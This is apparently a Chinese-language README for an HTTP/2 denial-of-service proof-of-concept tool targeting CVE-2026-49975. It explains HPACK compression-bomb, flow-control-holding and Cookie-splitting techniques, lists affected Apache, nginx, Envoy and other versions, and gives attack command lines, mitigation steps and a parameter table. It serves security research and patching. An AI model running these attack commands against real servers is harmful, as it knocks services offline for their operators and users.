HTTP/2 远程拒绝服务漏洞复现工具
CVE-2026-49975 是一个影响主流 Web 服务器的 HTTP/2 拒绝服务漏洞。该漏洞由安全公司 Calif(使用 OpenAI Codex)于 2026 年 6 月初发现。
HPACK 压缩炸弹:将极小的 header(如 "x: a")插入服务器 HPACK 动态表,然后发送成千上万个 1-byte 的索引引用。每个引用迫使服务器分配大量簿记内存,但客户端只消耗极少带宽。内存放大比例可达 ~5700:1(Envoy)和 ~4000:1(Apache httpd)。
Slowloris 流控保持:通过零字节流控窗口阻止服务器发送响应,并 drip-feed WINDOW_UPDATE 帧保持连接存活,使内存分配被"钉住"。
Cookie 分割绕过:将大 Cookie 分割成许多小片段,绕过服务器的 header 数量限制。
| 软件 | 影响版本 | 修复版本 |
|---|---|---|
| Apache httpd (mod_http2) | < 2.0.41 | 2.0.41+ |
| nginx | < 1.29.8 | 1.29.8+ |
| OpenResty | 基于 nginx < 1.29.8 | 1.29.8+ |
| Envoy (CVE-2026-47774) | ≤ 1.37.2 | 1.35.11, 1.36.7, 1.37.3, 1.38.1+ |
| Microsoft IIS | Windows Server 2025 | 无补丁 |
| Cloudflare Pingora | 默认配置 | 无补丁 |
本工具用于安全研究和授权测试,演示 CVE-2026-49975 漏洞的攻击机制。
pip install -r requirements.txt
# 基础攻击
python http2_bomb.py example.com
# 针对本地 HTTP/2 测试服务器(无 TLS)
python http2_bomb.py localhost -p 8080 --no-tls
# 高强度攻击(50 个 stream,每 stream 50000 个引用)
python http2_bomb.py example.com -s 50 -n 50000
# 启用 Cookie 分割绕过
python http2_bomb.py example.com --cookie-fragments 1000
# 快速模式(发送后不保持连接)
python http2_bomb.py example.com --no-hold
使用 test_server.py 启动一个简易 HTTP/2 服务器用于本地验证:
# 生成自签名证书
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# 启动测试服务器
python test_server.py --port 8443
# 运行攻击
python http2_bomb.py localhost -p 8443
立即缓解:如无法立即补丁,可临时禁用 HTTP/2
Protocols http/1.1http2 off;升级补丁:
配置加固:
max_headers 限制(nginx 1.29.8+ 默认 1000)监控告警:
⚠️ 本工具仅供安全研究和授权渗透测试使用。
未经授权对他人系统使用本工具属于违法行为。使用者应遵守当地法律法规,并仅对拥有合法授权的目标进行测试。
MIT License - 用于安全研究和教育目的。
| 参数 | 说明 | 默认值 |
|---|
target | 目标主机地址 | 必填 |
-p, --port | 目标端口 | 443 |
--no-tls | 禁用 TLS | false |
-s, --streams | 并发 Stream 数量 | 10 |
-n, --headers-per-stream | 每 Stream 的 Header 引用数 | 10000 |
--cookie-fragments | Cookie 分割片段数 | 0 |
--stream-delay | Stream 间发送延迟(秒) | 0.01 |
--window-update-interval | WINDOW_UPDATE 发送间隔 | 5.0s |
--no-hold | 发送后不保持连接 | false |
--timeout | Socket 超时时间 | 30 |